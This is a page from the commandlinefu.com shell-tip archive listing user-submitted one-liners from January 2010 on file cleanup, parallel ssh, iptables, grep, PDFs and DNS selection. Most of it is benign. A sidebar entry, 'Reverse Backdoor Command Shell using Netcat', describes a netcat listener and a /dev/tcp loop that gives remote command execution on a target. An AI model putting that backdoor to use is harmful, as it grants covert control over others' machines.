All commands

All commands (14,187)

sorted by

Remove all files previously extracted from a tar(.gz) file.

xargs deals badly with special characters (such as space, ' and "). To see the problem try this: touch important_file touch 'not important_file' ls not* | xargs rm Parallel https://savannah.nongnu.org/projects/parallel/ does not have this problem.
This is sample output - yours may be different.
-2

tar -tf <file.tar.gz> | parallel rm

unixmonkey8046 · 2010-01-28 08:28:16 3
run command on a group of nodes in parallel

Parallel is from https://savannah.nongnu.org/projects/parallel/ Other examples would be: (echo foss.org.my; echo www.debian.org; echo www.freenetproject.org) | parallel traceroute seq -f %04g 0 9999 | parallel -X rm pict{}.jpg
This is sample output - yours may be different.
3

seq 1 5 | parallel ssh {}.cluster.net uptime

unixmonkey8046 · 2010-01-28 08:18:50 6
Autodetect screens and extend workspace to the left

Disper: http://willem.engen.nl/projects/disper/ Moving Gnome Panels to the external screen is done using gconf-editor, changing property "/apps/panel/toplevels/top_panel_screen0/monitor", as well as "/apps/panel/toplevels/bottom_panel_screen0/monitor" to int value "1". This can be done from the command line using ' gconftool-2 --set "/apps/panel/toplevels/top_panel_screen0/monitor" --type integer "1"' so a nice script can be written.
This is sample output - yours may be different.
-1

disper --displays=auto -e -t left

unixmonkey6754 · 2010-01-28 06:46:56 113
Insert the last argument of the previous command
This is sample output - yours may be different.
2

<ALT> .

fraktil · 2010-01-28 03:33:31 5
Press a key automatically

Press a key automatically via xvkbd.
This is sample output - yours may be different.
1

while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done

matthewbauer · 2010-01-28 03:11:10 14
Block all IP addresses and domains that have attempted brute force SSH login to computer

I use iptables. To rate limit connections. Very easy and no ban lists to manage.
This is sample output - yours may be different.
3

/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set

jeffatrackaid · 2010-01-28 00:51:49 3
Extract names and email addresses from LDIF files
This is sample output - yours may be different.
0

grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //'

linuxnetbook · 2010-01-27 22:29:02 4
Erase a word
This is sample output - yours may be different.
6

<CTRL+w>

jslopez · 2010-01-27 22:13:29 25
Erase a word

hit BACKSPACE more than once to delete more words Show Sample Output
This is sample output - yours may be different.
```
$ echo something
<ALT> <BACKSPACE>
$ echo
```
2

<ALT> <BACKSPACE>

wincus · 2010-01-27 19:52:51 4
MAC OS X: audible notification after a long command

I often run some command that takes a while to finish. By putting the say command afterward, I get an audio notification. Please note that this command (say) only works on Mac OS X and not Linux.
This is sample output - yours may be different.
-2

long_command; say I am all done

haivu · 2010-01-27 19:03:01 12
Shell function to create a directory named with the current date, in the format YYYYMMDD.

Creates a directory named with the current date, in the format YYYYMMDD. If you give it a directory name as an argument, it will create the new directory inside the specified directory. This is an alternative to command #1993. Show Sample Output
This is sample output - yours may be different.
```
$ # in '.'
$ dmd
$ ls -l
drwxr-xr-x 2 bchittenden bchittenden 4096 2010-01-27 10:26 20100127
$ # in 'test/asdf/'
$ mkdir -p test/asdf
$ dmd test/asdf
$ ls -l test/asdf
drwxr-xr-x 2 bchittenden bchittenden 4096 2010-01-27 10:29 20100127
```
1

dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }

bartonski · 2010-01-27 15:53:26 5
Do some Perl learning...

Prerequisites: module Pod::Webserver installed. You can install it typing: sudo perl -MCPAN -e 'install Pod::Webserver' You can replace elinks with your fav browser. For FF: podwebserver& sleep 2; firefox -remote 'openurl( http://127.0.0.1:8020/, new-tab )' If you have Firefox open, this will pop-up the index web in a new tab.
This is sample output - yours may be different.
5

podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'

vlan7 · 2010-01-27 10:57:34 13
Using numsum to sum a column of numbers.

if you, like me, do not have the numsum, this way can do the same. Show Sample Output
This is sample output - yours may be different.
```
1653
```
1

echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0 ) ))

glaudiston · 2010-01-27 10:02:30 4
Simple Gumblar check command
This is sample output - yours may be different.
1

find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xargs grep "Exception\|LGPL\|CODE1"

negima · 2010-01-27 08:43:24 3

Gathering all MAC's in your local network

replace eth0 with your ethernet or wireless network interface. Show Sample Output

sudo arp-scan --interface=eth0 -l

alamati · 2010-01-27 05:36:48 3

delete multiple files with spaces in filenames (with confirmation)

ls -Q will show the filenames in quotes. xargs -p rm will print all the filenames piped from ls -Q and ask for confirmation before deleting the files. without the -Q switch, if we have spaces in names, then the files won't be deleted. Show Sample Output
This is sample output - yours may be different.
```
ls -Q *
"new file"  "new file (another copy)"  "new file (copy)"

ls -Q * | xargs -p rm
rm new file new file (another copy) new file (copy) ?...y
```
1

ls -Q * | xargs -p rm

temp_reg · 2010-01-27 02:46:49 9
Find the fastest server to disable comcast's DNS hijacking

Comcast is an ISP in the United States that has started hijacking DNS requests as a "service" for its customers. For example, in Firefox, one used to be able to do a quick "I'm Feeling Lucky" Google search by typing a single word into the URL field, assuming the word is not an existing domain when surrounded by www.*.com. Comcast customers never receive the correct NX (non-existent domain) error from DNS. Instead, they are shown a page full of advertising. There is a way to "opt out" from their service, but that requires having the account password and the MAC address of your modem handy. For me, it was easier just to set static DNS servers. But the problem is, which ones to choose? That's what this command answers. It'll show you the three _non-hijacked_ Comcast DNS servers that are the shortest distance away. Perhaps you don't have Comcast (lucky you!), but hopefully this command can serve as an example of using netselect to find the fastest server from a list. Note that, although this example doesn't show it, netselect will actually perform the uniq and DNS resolution for you. Requires: netselect, curl, sort, uniq, grep Show Sample Output
This is sample output - yours may be different.
```
Running netselect to choose 3 out of 12 addresses.      
...........................................................................
   53 68.87.69.146
   62 68.87.76.178
  273 68.87.74.162
```
2

sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)

hackerb9 · 2010-01-27 00:03:44 5
Using numsum to sum a column of numbers.

numsum is part of of the num-utils package, which is available in some Linux distros and can also be downloaded at http://suso.suso.org/xulu/Num-utils. It contains about 10 different programs for dealing with numbers from the command line. Obviously you can do a lot of things that the num-utils programs do in awk, sed, bash, perl scripts, but num-utils are there so that you don't have to remember the syntax for more complex operations and can just think: compute the sum, average, boundary numbers, etc. Show Sample Output
This is sample output - yours may be different.
```
15
```
5

numsum count.txt

deltaray · 2010-01-26 21:53:18 9
Give to anyone a command to immediatly find a particular part of a man.

Example : LC_ALL=C man less | less +/ppattern
This is sample output - yours may be different.
6

man <COMMAND> | less +'/pattern'

sputnick · 2010-01-26 20:50:00 3
Optimize PDF documents
This is sample output - yours may be different.
12

gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf

alamati · 2010-01-26 19:00:01 22
kde4 lock screen command

If you wish to launch the kde4 screen saver without the password prompt to exit, use this command: qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True Also can be done with: /usr/lib/kde4/libexec/kscreenlocker --forcelock
This is sample output - yours may be different.
3

qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock

starchox · 2010-01-26 17:50:10 5
Recursively grep for string and format output for vi(m)

This is a big time saver for me. I often grep source code and need to edit the findings. A single highlight of the mouse and middle mouse click (in gnome terminal) and I'm editing the exact line I just found. The color highlighting helps interpret the data.
This is sample output - yours may be different.
2

mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; }

stinkerweed999 · 2010-01-26 17:00:01 4
Recursively grep thorugh directory for string in file.

Print line numbers also, so you don't have to search through the files once its open for the string you already grepped for.
This is sample output - yours may be different.
2

grep -rni string dir

stinkerweed999 · 2010-01-26 16:34:06 3
Show File System Hierarchy

Curious about differences between /bin, /usr/bin, and /usr/local/bin? What should be in the /sbin dir? Try this command to find out. Tested against Red Hat & OS X
This is sample output - yours may be different.
95

man hier

haivu · 2010-01-26 16:31:05 30
Recursively grep thorugh directory for string in file.

-R, -r, --recursive Read all files under each directory, recursively; this is equivalent to the -d recurse option.
This is sample output - yours may be different.
8

grep -r -i "phrase" directory/

TheFox · 2010-01-26 16:27:00 8
‹ First < 405 406 407 408 409 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Takes and displays screenshot of Android phone over adb.

Dependencies on phone: adb access, screencap command, base64 command. Dependencies on computer: adb, sed, base64, display (from imagemagick, but can substitute other image viewer which reads from stdin). This should work around adb stupidies (i.e. that it replaces \n with \r\n) with base64.

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

List all available python modules

print crontab entries for all the users that actually have a crontab

This is how I list the crontab for all the users on a given system that actually have a crontab. You could wrap it with a function block and place it in your .profile or .bashrc for quick access. There's prolly a simpler way to do this. Discuss.

Find out the active XOrg Server DISPLAY number (from outside)

It's useful when you cannot access your env (systemd) or the process DISPLAY variable is not set. Perhaps also when you have a multi-head/user configuration.

Use QEMU to create a hardware dual-boot without rebooting

After downloading an ISO image, assuming you have QEMU installed, it’s possible to boot an ISO image in a virtual machine and then install that ISO from within the virtual machine directly to a physical drive, bypassing the need to reboot. Simply pass the ISO image as the -cdrom parameter, followed by “format=raw,file=/dev/sdb” (replace /dev/sdb with the drive you want to install to) as the hard drive parameter (making absolutely certain to specify the raw format, of course). Once you boot into the ISO image with QEMU, just run the installer as if it were a virtual machine — it’ll just use the physical device as an install target. After that, you’ll be able to seamlessly boot multiple distros (or even other operating systems) at once.

FInd the 10 biggest files taking up disk space

This combines the above two command into one. Note that you can leave off the last two commands and simply run the command as "find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10" The last two commands above just convert the output into human readable format.

Getting Screen's Copy Buffer Into X's Copy Buffer (on Linux)

This command will let you just type c-a b (which means press 'ctrl' then 'a' then 'b'), and screen will save your copy buffer to /tmp/screen-exchange, and then execute xsel to copy the contents of that file into the system's X clipboard. 1. Install Conrad Parker's xsel from http://www.vergenet.net/~conrad/software/xsel/ 2. Add these lines to your .screenrc # Add cool line to make copying to x clipboard possible. # This binds C-a b to copy screen's copy buffer to the system clipboard. bind b eval writebuf 'exec /bin/sh -c "xsel -i -b < /tmp/screen-exchange"' 'exec /bin/sh -c "killall xsel"' 3. Restart screen. 4. Test it by typing c-a [ to enter copy mode. 5. Select some text using vi movement keys (h, j, k, l, etc...) and starting your selection by hitting the space bar, moving with vi movement keys, and then ending your selection with the space bar. 6. Type C-a b, and screen will use xsel to copy your screen copy buffer to the system's X clipboard buffer. 7. Then you can paste the screen copy buffer into any X program. Note: If you're using Mac OSX, you can use pbcopy instead of xsel. Also Note: The second exec in the .screenrc file, which runs killall on xsel, is necessary, because even when you redirect a file to xsel, xsel waits for you to press ctrl-c to kill it, and have it stop waiting for more input. Since xsel forces screen to wait, and I don't want to press ctrl-c, I send the equivalent of ctrl-c with killall causing xsel to write /tmp/screen-exchange to the X clipboard, and then exit. It's a hack, but it works. If you know how to get this to work without a lame hack leave a comment explaining how.

convert unixtime to human-readable

Mac have direct conversion of seconds (Epoch time)

List only executables installed by a debian package

Safe for whitespaces in names.

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)

All commands (14,187) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

All commands (14,187)

sorted by